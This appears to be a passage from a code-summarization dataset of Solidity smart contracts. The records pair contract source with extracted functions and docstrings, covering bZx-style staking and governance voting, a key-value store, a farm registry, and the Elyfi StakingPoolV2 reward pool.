(lastVestingSync != block.timestamp) { uint256 rewardsVested; uint256 multiplier = vestedBalanceForAmount( 1e36, lastVestingSync, block.timestamp ); if (bzrxRewardsVesting != 0) { rewardsVested = bzrxRewardsVesting .mul(multiplier) .div(1e36); bzrxRewardsEarned += rewardsVested; } if (stableCoinRewardsVesting != 0) { rewardsVested = stableCoinRewardsVesting .mul(multiplier) .div(1e36); stableCoinRewardsEarned += rewardsVested; } uint256 vBZRXBalance = _balancesPerToken[vBZRX][account]; if (vBZRXBalance != 0) { // add vested BZRX to rewards balance rewardsVested = vBZRXBalance .mul(multiplier) .div(1e36); bzrxRewardsEarned += rewardsVested; } } return (bzrxRewardsEarned, stableCoinRewardsEarned); } // note: anyone can contribute rewards to the contract function addDirectRewards( address[] calldata accounts, uint256[] calldata bzrxAmounts, uint256[] calldata stableCoinAmounts) external pausable returns (uint256 bzrxTotal, uint256 stableCoinTotal) { require(accounts.length == bzrxAmounts.length && accounts.length == stableCoinAmounts.length, "count mismatch"); for (uint256 i = 0; i < accounts.length; i++) { bzrxRewards[accounts[i]] = bzrxRewards[accounts[i]].add(bzrxAmounts[i]); bzrxTotal = bzrxTotal.add(bzrxAmounts[i]); stableCoinRewards[accounts[i]] = stableCoinRewards[accounts[i]].add(stableCoinAmounts[i]); stableCoinTotal = stableCoinTotal.add(stableCoinAmounts[i]); } if (bzrxTotal != 0) { IERC20(BZRX).transferFrom(msg.sender, address(this), bzrxTotal); } if (stableCoinTotal != 0) { curve3Crv.transferFrom(msg.sender, address(this), stableCoinTotal); _depositTo3Pool(stableCoinTotal); } } // note: anyone can contribute rewards to the contract function addRewards( uint256 newBZRX, uint256 newStableCoin) external pausable { if (newBZRX != 0 || newStableCoin != 0) { _addRewards(newBZRX, newStableCoin); if (newBZRX != 0) { IERC20(BZRX).transferFrom(msg.sender, address(this), newBZRX); } if (newStableCoin != 0) { curve3Crv.transferFrom(msg.sender, address(this), newStableCoin); _depositTo3Pool(newStableCoin); } } } function _addRewards( uint256 newBZRX, uint256 newStableCoin) internal { (vBZRXWeightStored, iBZRXWeightStored, LPTokenWeightStored) = getVariableWeights(); uint256 totalTokens = totalSupplyStored(); require(totalTokens != 0, "nothing staked"); bzrxPerTokenStored = newBZRX .mul(1e36) .div(totalTokens) .add(bzrxPerTokenStored); stableCoinPerTokenStored = newStableCoin .mul(1e36) .div(totalTokens) .add(stableCoinPerTokenStored); lastRewardsAddTime = block.timestamp; emit AddRewards( msg.sender, newBZRX, newStableCoin ); } function addAltRewards(address token, uint256 amount) public { if (amount != 0) { _addAltRewards(token, amount); IERC20(token).transferFrom(msg.sender, address(this), amount); } } function _addAltRewards(address token, uint256 amount) internal { address poolAddress = token == SUSHI ? LPToken : token; uint256 totalSupply = (token == CRV) ? curve3PoolGauge.balanceOf(address(this)) :_totalSupplyPerToken[poolAddress]; require(totalSupply != 0, "no deposits"); altRewardsPerShare[token] = altRewardsPerShare[token] .add(amount.mul(1e12).div(totalSupply)); emit AddAltRewards(msg.sender, token, amount); } function getVariableWeights() public view returns (uint256 vBZRXWeight, uint256 iBZRXWeight, uint256 LPTokenWeight) { uint256 totalVested = vestedBalanceForAmount( _startingVBZRXBalance, 0, block.timestamp ); vBZRXWeight = SafeMath.mul(_startingVBZRXBalance - totalVested, 1e18) // overflow not possible .div(_startingVBZRXBalance); iBZRXWeight = _calcIBZRXWeight(); uint256 lpTokenSupply = _totalSupplyPerToken[LPToken]; if (lpTokenSupply != 0) { // staked LP tokens are assumed to represent the total unstaked supply (circulated supply - staked BZRX) uint256 normalizedLPTokenSupply = initialCirculatingSupply + totalVested - _totalSupplyPerToken[BZRX]; LPTokenWeight = normalizedLPTokenSupply .mul(1e18) .div(lpTokenSupply); } } function _calcIBZRXWeight() internal view returns (uint256) { return IERC20(BZRX).balanceOf(iBZRX) .mul(1e50) .div(IERC20(iBZRX).totalSupply()); } function balanceOfByAsset( address token, address account) public view returns (uint256 balance) { balance = _balancesPerToken[token][account]; } function balanceOfByAssets( address account) external view returns ( uint256 bzrxBalance, uint256 iBZRXBalance, uint256 vBZRXBalance, uint256 LPTokenBalance, uint256 LPTokenBalanceOld ) { return ( balanceOfByAsset(BZRX, account), balanceOfByAsset(iBZRX, account), balanceOfByAsset(vBZRX, account), balanceOfByAsset(LPToken, account), balanceOfByAsset(LPTokenOld, account) ); } function balanceOfStored( address account) public view returns (uint256 vestedBalance, uint256 vestingBalance) { uint256 balance = _balancesPerToken[vBZRX][account]; if (balance != 0) { vestingBalance = balance .mul(vBZRXWeightStored) .div(1e18); } vestedBalance = _balancesPerToken[BZRX][account]; balance = _balancesPerToken[iBZRX][account]; if (balance != 0) { vestedBalance = balance .mul(iBZRXWeightStored) .div(1e50) .add(vestedBalance); } balance = _balancesPerToken[LPToken][account]; if (balance != 0) { vestedBalance = balance .mul(LPTokenWeightStored) .div(1e18) .add(vestedBalance); } } function totalSupplyByAsset( address token) external view returns (uint256) { return _totalSupplyPerToken[token]; } function totalSupplyStored() public view returns (uint256 supply) { supply = _totalSupplyPerToken[vBZRX] .mul(vBZRXWeightStored) .div(1e18); supply = _totalSupplyPerToken[BZRX] .add(supply); supply = _totalSupplyPerToken[iBZRX] .mul(iBZRXWeightStored) .div(1e50) .add(supply); supply = _totalSupplyPerToken[LPToken] .mul(LPTokenWeightStored) .div(1e18) .add(supply); } function vestedBalanceForAmount( uint256 tokenBalance, uint256 lastUpdate, uint256 vestingEndTime) public view returns (uint256 vested) { vestingEndTime = vestingEndTime.min256(block.timestamp); if (vestingEndTime > lastUpdate) { if (vestingEndTime <= vestingCliffTimestamp || lastUpdate >= vestingEndTimestamp) { // time cannot be before vesting starts // OR all vested token has already been claimed return 0; } if (lastUpdate < vestingCliffTimestamp) { // vesting starts at the cliff timestamp lastUpdate = vestingCliffTimestamp; } if (vestingEndTime > vestingEndTimestamp) { // vesting ends at the end timestamp vestingEndTime = vestingEndTimestamp; } uint256 timeSinceClaim = vestingEndTime.sub(lastUpdate); vested = tokenBalance.mul(timeSinceClaim) / vestingDurationAfterCliff; // will never divide by 0 } } function votingFromStakedBalanceOf( address account) external view returns (uint256 totalVotes) { return _votingFromStakedBalanceOf(account, _getProposalState(), true); } function votingBalanceOf( address account, uint256 proposalId) external view returns (uint256 totalVotes) { (,,,uint256 startBlock,,,,,,) = GovernorBravoDelegateStorageV1(governor).proposals(proposalId); if (startBlock == 0) return 0; return _votingBalanceOf(account, _proposalState[proposalId], startBlock - 1); } function votingBalanceOfNow( address account) external view returns (uint256 totalVotes) { return _votingBalanceOf(account, _getProposalState(), block.number - 1); } function _setProposalVals( address account, uint256 proposalId) public returns (uint256) { require(msg.sender == governor, "unauthorized"); require(_proposalState[proposalId].proposalTime == 0, "proposal exists"); ProposalState memory newProposal = _getProposalState(); _proposalState[proposalId] = newProposal; return _votingBalanceOf(account, newProposal, block.number - 1); } function _getProposalState() internal view returns (ProposalState memory) { return ProposalState({ proposalTime: block.timestamp - 1, iBZRXWeight: _calcIBZRXWeight(), lpBZRXBalance: 0, // IERC20(BZRX).balanceOf(LPToken), lpTotalSupply: 0 //IERC20(LPToken).totalSupply() }); } // Voting balance not including delegated votes function _votingFromStakedBalanceOf( address account, ProposalState memory proposal, bool skipVestingLastSyncCheck) internal view returns (uint256 totalVotes) { uint256 _vestingLastSync = vestingLastSync[account]; if (proposal.proposalTime == 0 || (!skipVestingLastSyncCheck && _vestingLastSync > proposal.proposalTime - 1)) { return 0; } // user is attributed a staked balance of vested BZRX, from their last update to the present totalVotes = vestedBalanceForAmount( _balancesPerToken[vBZRX][account], _vestingLastSync, proposal.proposalTime ); totalVotes = _balancesPerToken[BZRX][account] .add(bzrxRewards[account]) // unclaimed BZRX rewards count as votes .add(totalVotes); totalVotes = _balancesPerToken[iBZRX][account] .mul(proposal.iBZRXWeight) .div(1e50) .add(totalVotes); } // Voting balance including delegated votes function _votingBalanceOf( address account, ProposalState memory proposal, uint blocknumber) internal view returns (uint256 totalVotes) { StakingVoteDelegator _voteDelegator = StakingVoteDelegator(voteDelegator); address _delegate = _voteDelegator.delegates(account); if(_delegate == ZERO_ADDRESS) { // has not delegated yet return _voteDelegator.getPriorVotes(account, blocknumber).add(_votingFromStakedBalanceOf(account, proposal, false)); } return _voteDelegator.getPriorVotes(account, blocknumber); } // OnlyOwner functions function updateSettings( address settingsTarget, bytes memory callData) public onlyOwner returns(bytes memory) { (bool result,) = settingsTarget.delegatecall(callData); assembly { let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) if eq(result, 0) { revert(ptr, size) } return(ptr, size) } } }
Gets the current votes balance for `account` account The address to get votes balance return The number of current votes for `account`/
function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; }
260,332
pragma solidity 0.4.19; import "./utils/Secured.sol"; contract Store is Secured { /**** Storage Types *******/ mapping(bytes32 => uint256) private uintStorage; mapping(bytes32 => string) private stringStorage; mapping(bytes32 => address) private addressStorage; mapping(bytes32 => bytes) private bytesStorage; mapping(bytes32 => bool) private boolStorage; mapping(bytes32 => int256) private intStorage; /**** Get Methods ***********/ /// @param _key The key for the record function getAddress(bytes32 _key) external view returns (address) { return addressStorage[_key]; } /// @param _key The key for the record function getUint(bytes32 _key) external view returns (uint) { return uintStorage[_key]; } /// @param _key The key for the record function getString(bytes32 _key) external view returns (string) { return stringStorage[_key]; } /// @param _key The key for the record function getBytes(bytes32 _key) external view returns (bytes) { return bytesStorage[_key]; } /// @param _key The key for the record function getBool(bytes32 _key) external view returns (bool) { return boolStorage[_key]; } /// @param _key The key for the record function getInt(bytes32 _key) external view returns (int) { return intStorage[_key]; } /**** Set Methods ***********/ /// @param _key The key for the record function setAddress(bytes32 _key, address _value) onlyAuthorized external { addressStorage[_key] = _value; } /// @param _key The key for the record function setUint(bytes32 _key, uint _value) onlyAuthorized external { uintStorage[_key] = _value; } /// @param _key The key for the record function setString(bytes32 _key, string _value) onlyAuthorized external { stringStorage[_key] = _value; } /// @param _key The key for the record function setBytes(bytes32 _key, bytes _value) onlyAuthorized external { bytesStorage[_key] = _value; } /// @param _key The key for the record function setBool(bytes32 _key, bool _value) onlyAuthorized external { boolStorage[_key] = _value; } /// @param _key The key for the record function setInt(bytes32 _key, int _value) onlyAuthorized external { intStorage[_key] = _value; } /**** Delete Methods ***********/ /// @param _key The key for the record function deleteAddress(bytes32 _key) onlyAuthorized external { delete addressStorage[_key]; } /// @param _key The key for the record function deleteUint(bytes32 _key) onlyAuthorized external { delete uintStorage[_key]; } /// @param _key The key for the record function deleteString(bytes32 _key) onlyAuthorized external { delete stringStorage[_key]; } /// @param _key The key for the record function deleteBytes(bytes32 _key) onlyAuthorized external { delete bytesStorage[_key]; } /// @param _key The key for the record function deleteBool(bytes32 _key) onlyAuthorized external { delete boolStorage[_key]; } /// @param _key The key for the record function deleteInt(bytes32 _key) onlyAuthorized external { delete intStorage[_key]; } }
_key The key for the record
function getBytes(bytes32 _key) external view returns (bytes) { return bytesStorage[_key]; }
12,567,412
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.7.0; library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FarmFactory is Context, Ownable { using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private farms; EnumerableSet.AddressSet private farmGenerators; mapping (address => EnumerableSet.AddressSet) private userFarms; constructor() public { } function adminAllowFarmGenerator(address _address, bool _allow) public onlyOwner { if (_allow) { farmGenerators.add(_address); } else { farmGenerators.remove(_address); } } /** * @notice called by a registered FarmGenerator upon Farm creation */ function registerFarm(address _farmAddress) public { require(farmGenerators.contains(_msgSender()), 'FORBIDDEN'); farms.add(_farmAddress); } /** * @notice Number of allowed FarmGenerators */ function farmGeneratorsLength() external view returns (uint256) { return farmGenerators.length(); } /** * @notice Gets the address of a registered FarmGenerator at specifiex index */ function farmGeneratorAtIndex(uint256 _index) external view returns (address) { return farmGenerators.at(_index); } /** * @notice The length of all farms on the platform */ function farmsLength() external view returns (uint256) { return farms.length(); } /** * @notice gets a farm at a specific index. Although using Enumerable Set, since farms are only added and not removed this will never change * @return the address of the Farm contract at index */ function farmAtIndex(uint256 _index) external view returns (address) { return farms.at(_index); } /** * @notice called by a Farm contract when lp token balance changes from 0 to > 0 to allow tracking all farms a user is active in */ function userEnteredFarm(address _user) public { // msgSender = farm contract address msgSender = _msgSender(); require(farms.contains(msgSender), 'FORBIDDEN'); EnumerableSet.AddressSet storage set = userFarms[_user]; set.add(msgSender); } /** * @notice called by a Farm contract when all LP tokens have been withdrawn, removing the farm from the users active farm list */ function userLeftFarm(address _user) public { // msgSender = farm contract address msgSender = _msgSender(); require(farms.contains(msgSender), 'FORBIDDEN'); EnumerableSet.AddressSet storage set = userFarms[_user]; set.remove(msgSender); } /** * @notice returns the number of farms the user is active in */ function userFarmsLength(address _user) external view returns (uint256) { EnumerableSet.AddressSet storage set = userFarms[_user]; return set.length(); } /** * @notice called by a Farm contract when all LP tokens have been withdrawn, removing the farm from the users active farm list * @return the address of the Farm contract the user is farming */ function userFarmAtIndex(address _user, uint256 _index) external view returns (address) { EnumerableSet.AddressSet storage set = userFarms[_user]; return set.at(_index); } }
called by a Farm contract when lp token balance changes from 0 to > 0 to allow tracking all farms a user is active in/ msgSender = farm contract
function userEnteredFarm(address _user) public { address msgSender = _msgSender(); require(farms.contains(msgSender), 'FORBIDDEN'); EnumerableSet.AddressSet storage set = userFarms[_user]; set.add(msgSender); }
887,962
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import './libraries/StakingPoolLogicV2.sol'; import './interface/IStakingPoolV2.sol'; import './token/StakedElyfiToken.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; /// @title Elyfi StakingPool contract /// @notice Users can stake their asset and earn reward for their staking. /// The reward calculation is based on the reward index and user balance. The amount of reward index change /// is inversely proportional to the total amount of supply. Accrued rewards can be obtained by multiplying /// the difference between the user index and the current index by the user balance. User index and the pool /// index is updated and aligned with in the staking and withdrawing action. /// @author Elysia contract StakingPoolV2 is IStakingPoolV2, StakedElyfiToken, Ownable { using StakingPoolLogicV2 for PoolData; constructor(IERC20 stakingAsset_, IERC20 rewardAsset_) StakedElyfiToken(stakingAsset_) { stakingAsset = stakingAsset_; rewardAsset = rewardAsset_; } struct PoolData { uint256 duration; uint256 rewardPerSecond; uint256 rewardIndex; uint256 startTimestamp; uint256 endTimestamp; uint256 totalPrincipal; uint256 lastUpdateTimestamp; mapping(address => uint256) userIndex; mapping(address => uint256) userReward; mapping(address => uint256) userPrincipal; bool isOpened; bool isFinished; } bool internal emergencyStop = false; mapping(address => bool) managers; IERC20 public stakingAsset; IERC20 public rewardAsset; PoolData internal _poolData; /***************** View functions ******************/ /// @notice Returns reward index of the round function getRewardIndex() external view override returns (uint256) { return _poolData.getRewardIndex(); } /// @notice Returns user accrued reward index of the round /// @param user The user address function getUserReward(address user) external view override returns (uint256) { return _poolData.getUserReward(user); } /// @notice Returns the state and data of the round /// @return rewardPerSecond The total reward accrued per second in the round /// @return rewardIndex The reward index of the round /// @return startTimestamp The start timestamp of the round /// @return endTimestamp The end timestamp of the round /// @return totalPrincipal The total staked amount of the round /// @return lastUpdateTimestamp The last update timestamp of the round function getPoolData() external view override returns ( uint256 rewardPerSecond, uint256 rewardIndex, uint256 startTimestamp, uint256 endTimestamp, uint256 totalPrincipal, uint256 lastUpdateTimestamp ) { return ( _poolData.rewardPerSecond, _poolData.rewardIndex, _poolData.startTimestamp, _poolData.endTimestamp, _poolData.totalPrincipal, _poolData.lastUpdateTimestamp ); } /// @notice Returns the state and data of the user /// @param user The user address function getUserData(address user) external view override returns ( uint256 userIndex, uint256 userReward, uint256 userPrincipal ) { return (_poolData.userIndex[user], _poolData.userReward[user], _poolData.userPrincipal[user]); } /***************** External functions ******************/ /// @notice Stake the amount of staking asset to pool contract and update data. /// @param amount Amount to stake. function stake(uint256 amount) external override stakingInitiated { if (_poolData.isOpened == false) revert Closed(); if (amount == 0) revert InvalidAmount(); _poolData.updateStakingPool(msg.sender); _depositFor(msg.sender, amount); _poolData.userPrincipal[msg.sender] += amount; _poolData.totalPrincipal += amount; emit Stake( msg.sender, amount, _poolData.userIndex[msg.sender], _poolData.userPrincipal[msg.sender] ); } /// @notice Withdraw the amount of principal from the pool contract and update data /// @param amount Amount to withdraw function withdraw(uint256 amount) external override stakingInitiated { _withdraw(amount); } /// @notice Transfer accrued reward to msg.sender. User accrued reward will be reset and user reward index will be set to the current reward index. function claim() external override stakingInitiated { _claim(msg.sender); } // TODO Implement `migrate` function to send an asset to the next staking contract /***************** Internal Functions ******************/ function _withdraw(uint256 amount) internal { uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = _poolData.userPrincipal[msg.sender]; } if (_poolData.userPrincipal[msg.sender] < amountToWithdraw) revert NotEnoughPrincipal(_poolData.userPrincipal[msg.sender]); _poolData.updateStakingPool(msg.sender); _poolData.userPrincipal[msg.sender] -= amountToWithdraw; _poolData.totalPrincipal -= amountToWithdraw; _withdrawTo(msg.sender, amountToWithdraw); emit Withdraw( msg.sender, amountToWithdraw, _poolData.userIndex[msg.sender], _poolData.userPrincipal[msg.sender] ); } function _claim(address user) internal { if(emergencyStop == true) revert Emergency(); uint256 reward = _poolData.getUserReward(user); if (reward == 0) revert ZeroReward(); _poolData.userReward[user] = 0; _poolData.userIndex[user] = _poolData.getRewardIndex(); SafeERC20.safeTransfer(rewardAsset, user, reward); uint256 rewardLeft = rewardAsset.balanceOf(address(this)); if (rewardAsset == stakingAsset) { rewardLeft -= _poolData.totalPrincipal; } emit Claim(user, reward, rewardLeft); } /***************** Admin Functions ******************/ /// @notice Init the new round. After the round closed, staking is not allowed. /// @param rewardPerSecond The total accrued reward per second in new round /// @param startTimestamp The start timestamp of initiated round /// @param duration The duration of the initiated round function initNewPool( uint256 rewardPerSecond, uint256 startTimestamp, uint256 duration ) external override onlyOwner { if (_poolData.isFinished == true) revert Finished(); (uint256 newRoundStartTimestamp, uint256 newRoundEndTimestamp) = _poolData.initRound( rewardPerSecond, startTimestamp, duration ); _poolData.isOpened = true; emit InitPool(rewardPerSecond, newRoundStartTimestamp, newRoundEndTimestamp); } function extendPool( uint256 rewardPerSecond, uint256 duration ) external onlyManager { _poolData.extendPool(duration); _poolData.rewardPerSecond = rewardPerSecond; emit ExtendPool(msg.sender, duration, rewardPerSecond); } function closePool() external onlyOwner { if (_poolData.isOpened == false) revert Closed(); _poolData.endTimestamp = block.timestamp; _poolData.isOpened = false; _poolData.isFinished = true; emit ClosePool(msg.sender, true); } function retrieveResidue() external onlyOwner { uint256 residueAmount; if (stakingAsset == rewardAsset) { residueAmount = rewardAsset.balanceOf(address(this)) - _poolData.totalPrincipal; } else { residueAmount = rewardAsset.balanceOf(address(this)); } SafeERC20.safeTransfer(rewardAsset, msg.sender, residueAmount); emit RetrieveResidue(msg.sender, residueAmount); } function setManager(address addr) external onlyOwner { _setManager(addr); } function revokeManager(address addr) external onlyOwner { _revokeManager(addr); } function renounceManager(address addr) external { require(addr == msg.sender, "Can only renounce manager for self"); _revokeManager(addr); } function setEmergency(bool stop) external onlyOwner { emergencyStop = stop; emit SetEmergency(msg.sender, stop); } function isManager(address addr) public view returns (bool) { return managers[addr] || addr == owner(); } /***************** private ******************/ function _setManager(address addr) private { if (!isManager(addr)) { managers[addr] = true; emit SetManager(msg.sender, addr); } } function _revokeManager(address addr) private { if (isManager(addr)) { managers[addr] = false; emit RevokeManager(msg.sender, addr); } } /***************** Modifier ******************/ modifier onlyManager() { if (!isManager(msg.sender)) revert OnlyManager(); _; } modifier stakingInitiated() { if (_poolData.startTimestamp == 0) revert StakingNotInitiated(); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '../StakingPoolV2.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; library StakingPoolLogicV2 { using StakingPoolLogicV2 for StakingPoolV2.PoolData; event UpdateStakingPool( address indexed user, uint256 newRewardIndex, uint256 totalPrincipal ); function getRewardIndex(StakingPoolV2.PoolData storage poolData) internal view returns (uint256) { uint256 currentTimestamp = block.timestamp < poolData.endTimestamp ? block.timestamp : poolData.endTimestamp; uint256 timeDiff = currentTimestamp - poolData.lastUpdateTimestamp; uint256 totalPrincipal = poolData.totalPrincipal; if (timeDiff == 0) { return poolData.rewardIndex; } if (totalPrincipal == 0) { return poolData.rewardIndex; } uint256 rewardIndexDiff = (timeDiff * poolData.rewardPerSecond * 1e9) / totalPrincipal; return poolData.rewardIndex + rewardIndexDiff; } function getUserReward(StakingPoolV2.PoolData storage poolData, address user) internal view returns (uint256) { if (poolData.userIndex[user] == 0) { return 0; } uint256 indexDiff = getRewardIndex(poolData) - poolData.userIndex[user]; uint256 balance = poolData.userPrincipal[user]; uint256 result = poolData.userReward[user] + (balance * indexDiff) / 1e9; return result; } function updateStakingPool( StakingPoolV2.PoolData storage poolData, address user ) internal { poolData.userReward[user] = getUserReward(poolData, user); poolData.rewardIndex = poolData.userIndex[user] = getRewardIndex(poolData); poolData.lastUpdateTimestamp = block.timestamp < poolData.endTimestamp ? block.timestamp : poolData.endTimestamp; emit UpdateStakingPool(msg.sender, poolData.rewardIndex, poolData.totalPrincipal); } function extendPool( StakingPoolV2.PoolData storage poolData, uint256 duration ) internal { poolData.rewardIndex = getRewardIndex(poolData); poolData.startTimestamp = poolData.lastUpdateTimestamp = block.timestamp; poolData.endTimestamp = block.timestamp + duration; } function initRound( StakingPoolV2.PoolData storage poolData, uint256 rewardPerSecond, uint256 roundStartTimestamp, uint256 duration ) internal returns (uint256, uint256) { poolData.rewardPerSecond = rewardPerSecond; poolData.startTimestamp = roundStartTimestamp; poolData.endTimestamp = roundStartTimestamp + duration; poolData.lastUpdateTimestamp = roundStartTimestamp; poolData.rewardIndex = 1e18; return (poolData.startTimestamp, poolData.endTimestamp); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; interface IStakingPoolV2 { error StakingNotInitiated(); error InvalidAmount(); error ZeroReward(); error OnlyManager(); error NotEnoughPrincipal(uint256 principal); error ZeroPrincipal(); error Finished(); error Closed(); error Emergency(); event Stake( address indexed user, uint256 amount, uint256 userIndex, uint256 userPrincipal ); event Withdraw( address indexed user, uint256 amount, uint256 userIndex, uint256 userPrincipal ); event Claim(address indexed user, uint256 reward, uint256 rewardLeft); event InitPool( uint256 rewardPerSecond, uint256 startTimestamp, uint256 endTimestamp ); event ExtendPool( address indexed manager, uint256 duration, uint256 rewardPerSecond ); event ClosePool(address admin, bool close); event RetrieveResidue(address manager, uint256 residueAmount); event SetManager(address admin, address manager); /// @param requester owner or the manager himself/herself event RevokeManager(address requester, address manager); event SetEmergency(address admin, bool emergency); function stake(uint256 amount) external; function claim() external; function withdraw(uint256 amount) external; function getRewardIndex() external view returns (uint256); function getUserReward(address user) external view returns (uint256); function getPoolData() external view returns ( uint256 rewardPerSecond, uint256 rewardIndex, uint256 startTimestamp, uint256 endTimestamp, uint256 totalPrincipal, uint256 lastUpdateTimestamp ); function getUserData(address user) external view returns ( uint256 userIndex, uint256 userReward, uint256 userPrincipal ); function initNewPool( uint256 rewardPerSecond, uint256 startTimestamp, uint256 duration ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol'; import '@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol'; import '../libraries/ERC20Metadata.sol'; contract StakedElyfiToken is ERC20, ERC20Permit, ERC20Votes { IERC20 public immutable underlying; constructor(IERC20 underlyingToken) ERC20( string( abi.encodePacked( 'Staked', ERC20Metadata.tokenName(address(underlyingToken)) ) ), string( abi.encodePacked( 's', ERC20Metadata.tokenSymbol(address(underlyingToken)) ) ) ) ERC20Permit( string( abi.encodePacked( 'Staked', ERC20Metadata.tokenName(address(underlyingToken)) ) ) ) { underlying = underlyingToken; } /// @notice Transfer not supported function transfer(address recipient, uint256 amount) public virtual override(ERC20) returns (bool) { recipient; amount; revert(); } /// @notice Transfer not supported function transferFrom( address sender, address recipient, uint256 amount ) public virtual override(ERC20) returns (bool) { sender; recipient; amount; revert(); } /// @notice Approval not supported function approve(address spender, uint256 amount) public virtual override(ERC20) returns (bool) { spender; amount; revert(); } /// @notice Allownace not supported function allowance(address owner, address spender) public view virtual override(ERC20) returns (uint256) { owner; spender; revert(); } /// @notice Allownace not supported function increaseAllowance(address spender, uint256 addedValue) public virtual override(ERC20) returns (bool) { spender; addedValue; revert(); } /// @notice Allownace not supported function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override(ERC20) returns (bool) { spender; subtractedValue; revert(); } /// @dev Allow a user to deposit underlying tokens and mint the corresponding number of wrapped tokens. /// @notice This function is based on the openzeppelin ERC20Wrapper function _depositFor(address account, uint256 amount) internal virtual returns (bool) { SafeERC20.safeTransferFrom(underlying, _msgSender(), address(this), amount); _mint(account, amount); return true; } /// @dev Allow a user to burn a number of wrapped tokens and withdraw the corresponding number of underlying tokens. /// @notice This function is based on the openzeppelin ERC20Wrapper function _withdrawTo(address account, uint256 amount) internal virtual returns (bool) { _burn(_msgSender(), amount); SafeERC20.safeTransfer(underlying, account, amount); return true; } /// @notice The following functions are overrides required by Solidity. function _afterTokenTransfer( address from, address to, uint256 amount ) internal override(ERC20, ERC20Votes) { super._afterTokenTransfer(from, to, amount); } /// @notice The following functions are overrides required by Solidity. function _mint(address to, uint256 amount) internal override(ERC20, ERC20Votes) { super._mint(to, amount); } /// @notice The following functions are overrides required by Solidity. function _burn(address account, uint256 amount) internal override(ERC20, ERC20Votes) { super._burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns 